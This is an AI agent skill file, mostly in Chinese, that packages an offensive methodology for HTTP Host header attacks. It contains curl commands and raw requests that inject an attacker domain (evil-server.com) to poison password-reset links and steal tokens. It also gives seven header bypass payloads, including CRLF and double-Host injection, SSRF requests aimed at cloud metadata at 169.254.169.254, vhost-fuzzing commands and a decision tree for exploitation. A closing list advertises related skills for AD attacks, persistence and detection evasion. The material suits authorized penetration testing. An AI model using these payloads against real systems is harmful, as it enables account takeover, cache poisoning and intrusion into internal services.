http-host-header-attacks

$npx mdskill add wgpsec/AboutSecurity/http-host-header-attacks

Poison reset tokens, cache keys, and routes via Host header manipulation.

  • Steals reset tokens and controls cache keys by injecting malicious Host values.
  • Bypasses security controls using X-Forwarded-Host and double header techniques.
  • Triggers SSRF and vhost enumeration when targets trust Host for routing.
  • Executes payloads against applications handling password resets or caching logic.

SKILL.md

.github/skills/http-host-header-attacksView on GitHub ↗
---
name: http-host-header-attacks
description: "HTTP Host Header 攻击方法论。当目标存在密码重置、缓存机制、反向代理、虚拟主机、重定向功能时使用。覆盖密码重置投毒(Host注入窃取reset token)、Web缓存投毒(Host控制缓存键)、通过Host路由SSRF、虚拟主机枚举与跨站读取、绕过技术(X-Forwarded-Host/双Host/绝对URI/端口注入/换行符注入)。任何涉及密码重置、Host头处理、缓存、虚拟主机配置的测试都应使用此 skill"
metadata:
  tags: "host header,password reset poisoning,cache poisoning,SSRF,vhost,virtual host,密码重置投毒,缓存投毒,X-Forwarded-Host"
  category: "exploit"
---

# HTTP Host Header 攻击方法论

---

## 1. 核心概念

HTTP Host header 告诉 Web 服务器客户端请求的是哪个网站(虚拟主机路由)。很多应用在以下场景**信任 Host header 的值**:

- 生成密码重置链接
- 生成绝对 URL
- 缓存键计算
- 路由到内部后端
- 访问控制决策

如果应用**不验证 Host header**,攻击者可以操纵它来投毒链接、缓存或路由。

---

## 2. 密码重置投毒

### 原理

```
POST /forgot-password HTTP/1.1
Host: evil-server.com                    ← 攻击者替换
Content-Type: application/x-www-form-urlencoded

email=victim@target.com
```

应用信任 Host 值生成重置链接 → 受害者收到的邮件中链接变为:
```
https://evil-server.com/reset?token=abc123
```

受害者点击链接 → token 发送到攻击者服务器。

### 检测

```bash
# 正常请求(记录原始链接格式)
curl -X POST https://target.com/forgot-password \
  -d "email=test@target.com"

# Host 注入
curl -X POST https://target.com/forgot-password \
  -H "Host: evil-server.com" \
  -d "email=victim@target.com"

# 检查邮件中的链接是否包含 evil-server.com
```

### 绕过变体

如果直接替换 Host 被拒绝(400/403):

```http
# 1. X-Forwarded-Host(最常用)
Host: target.com
X-Forwarded-Host: evil-server.com

# 2. 端口注入
Host: target.com:@evil-server.com

# 3. 绝对 URI
GET https://target.com/forgot-password HTTP/1.1
Host: evil-server.com

# 4. 双 Host header
Host: target.com
Host: evil-server.com

# 5. 换行符注入
Host: target.com
 X-Forwarded-Host: evil-server.com
```

---

## 3. Web 缓存投毒(影响说明)

Host header 或 `X-Forwarded-Host` 注入可作为缓存投毒的输入向量——当响应内容受 Host 值影响且缓存键不包含该头时,被投毒的响应会分发给所有用户。检测到 Host 注入影响响应内容后,应进一步评估缓存投毒的完整利用链。

---

## 4. 通过 Host 路由的 SSRF

### 后端路由场景

反向代理根据 Host header 决定转发到哪个后端:

```http
GET / HTTP/1.1
Host: internal-admin.target.com    ← 内部虚拟主机

GET / HTTP/1.1
Host: 169.254.169.254              ← 云元数据
```

### Absolute URI 绕过

```http
GET https://target.com/ HTTP/1.1
Host: 169.254.169.254
```

某些代理使用 absolute URI 的 host 做 ACL 检查,但用 Host header 做路由。

---

## 5. 虚拟主机枚举

### 发现隐藏的内部站点

```bash
# 用 ffuf 枚举 vhost
ffuf -u https://target.com -H "Host: FUZZ.target.com" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs <default-size>

# 指定 IP 直接访问
curl -k https://10.0.0.1/ -H "Host: admin.target.com"
```

### 内部面板典型名称

```
admin, staging, dev, test, internal, api-internal, 
monitoring, grafana, jenkins, gitlab, kibana,
phpmyadmin, adminer, debug, console, management
```

---

## 6. 绕过技术(7 种)

### 6.1 X-Forwarded-Host

```http
Host: target.com
X-Forwarded-Host: evil.com
```

### 6.2 双 Host Header

```http
Host: target.com
Host: evil.com
```

不同中间件取第一个或最后一个 — 代理和后端不一致时产生绕过。

### 6.3 绝对 URI

```http
GET https://target.com/path HTTP/1.1
Host: evil.com
```

### 6.4 Host 端口注入

```http
Host: target.com:evil.com
Host: target.com:@evil.com
Host: target.com:80@evil.com
```

### 6.5 其他 Override Header

```http
X-Host: evil.com
X-Forwarded-Server: evil.com
X-HTTP-Host-Override: evil.com
Forwarded: host=evil.com
```

### 6.6 换行符 / CRLF 注入

```http
Host: target.com%0d%0aX-Forwarded-Host: evil.com
```

### 6.7 Tab / 空格

```http
Host: target.com	evil.com
Host: target.com evil.com
```

---

## 7. 框架特定行为

| 框架 | Host 处理 | 密码重置风险 |
|---|---|---|
| **Django** | 检查 `ALLOWED_HOSTS`,但 `X-Forwarded-Host` 不在检查范围 | 高 — `X-Forwarded-Host` 直接用于 `build_absolute_uri()` |
| **Rails** | `X-Forwarded-Host` 优先于 `Host` | 高 — 直接影响 `url_for` |
| **Laravel** | 信任 `X-Forwarded-*` 如果设置了 trusted proxies | 中 — 取决于配置 |
| **Spring** | `ForwardedHeaderFilter` 处理 `Forwarded` header | 中 — 取决于是否启用 |
| **Express/Node** | `req.hostname` 读取 `X-Forwarded-Host`(在 trust proxy 下) | 中 |
| **ASP.NET** | `X-Forwarded-Host` 不自动使用 | 低(除非显式配置) |

---

## 8. Connection State 攻击

HTTP/1.1 Keep-Alive 场景下,部分反向代理只在**第一个请求**验证 Host,后续请求复用连接:

```
请求 1: Host: target.com      → 代理验证通过,建立连接
请求 2: Host: internal.com    → 代理不再验证,直接转发 → 访问内部站点
```

---

## 9. 决策树

```
目标有 Host header 注入点?
├── 密码重置功能?
│   ├── 直接替换 Host → 检查邮件链接
│   ├── 403/400?→ X-Forwarded-Host / 双 Host / 端口注入
│   └── 邮件含恶意域名?→ 密码重置投毒成功
├── 有缓存(CDN/Varnish/Nginx)?
│   ├── Host/X-Forwarded-Host 影响响应内容?
│   ├── 响应是否被缓存(X-Cache: HIT)?
│   └── 两者都是?→ Web 缓存投毒
├── 反向代理后多个后端?
│   ├── 枚举 vhost(ffuf + Host fuzz)
│   ├── Host: 169.254.169.254 → 云元数据 SSRF
│   └── Host: internal-admin → 内部面板访问
├── Connection State
│   └── Keep-Alive 复用 → 第二请求切换 Host
└── 全部失败 → 尝试其他注入点或攻击面
```

## 深入参考

- HTTP 头部操纵高级技术(CRLF 注入/参数污染/Hop-by-Hop 滥用) → [references/host-header-exploitation.md](references/host-header-exploitation.md)

More from wgpsec/AboutSecurity

SkillDescription
401-403-bypass401/403 访问拒绝绕过方法论。当遇到管理后台、API 端点返回 401/403 Forbidden 时使用。覆盖路径操纵、HTTP 方法篡改、Header 注入、协议降级、组合攻击
ad-acl-abuseActive Directory ACL 滥用攻击方法论。当 BloodHound 发现 GenericAll/WriteDACL/WriteOwner/GenericWrite/ForceChangePassword 等危险 ACE 时使用。覆盖 ACE 枚举、权限滥用链、Shadow Credentials、RBCD 攻击
ad-delegation-attackKerberos 委派攻击(非约束/约束/RBCD)。当 BloodHound 发现委派配置、或已获取有 SPN 的服务账号/机器账号控制权时使用。通过 S4U 协议滥用可实现跨服务模拟任意用户,常用于域内权限提升和横向移动。
ad-domain-attackActive Directory 域环境攻击全链路。当目标主机在域环境中(systeminfo 显示 Domain 非 WORKGROUP)、发现 88/389/636 端口、或获取到域用户凭据时使用。覆盖域信息收集、用户枚举、Kerberoasting、AS-REP Roasting、委派攻击、ACL 滥用、DCSync、Golden/Silver Ticket
ad-persistenceAD 域环境持久化技术。当已获取域管/本地管理员权限、需要建立持久访问以确保重启或密码更改后仍能回到目标环境时使用。覆盖主机级持久化(计划任务/注册表Run/COM劫持/WMI事件订阅/Windows服务/启动文件夹)、域级持久化(Golden Ticket/Silver Ticket/Skeleton Key/DSRM/AdminSDHolder)、DCShadow/GoldenGMSA高级技术、清理命令与检测规避
ad-trust-attack域信任关系攻击。当目标存在多域/多林环境时使用。包含父子域提权(Golden Ticket + ExtraSid)、跨林攻击(SID History/MSSQL Trust Links)、单向信任利用。已获取子域 Domain Admin 或发现信任关系时优先加载。
adcs-certipy-attackActive Directory Certificate Services (ADCS) 证书攻击。当发现域内有 CA 服务器、ADCS Web Enrollment、证书模板配置错误时使用。覆盖 ESC1-ESC11 所有证书滥用路径、Certipy 工具链、证书伪造、NTLM 中继到 ADCS。发现 ADCS/CA/证书/certsrv 相关内容时一定要使用此技能
adinfo-enum使用 Adinfo 进行 Active Directory 信息收集。当获得域用户凭据后需要快速收集域环境信息时使用。Adinfo 是一个快速 AD 信息收集工具,一条命令输出域控列表、域管用户、信任关系、GPO、SPN、委派配置等关键信息——比手动 LDAP 查询快得多。发现域环境后第一步信息收集使用此技能
agent-security|
ai-data-security|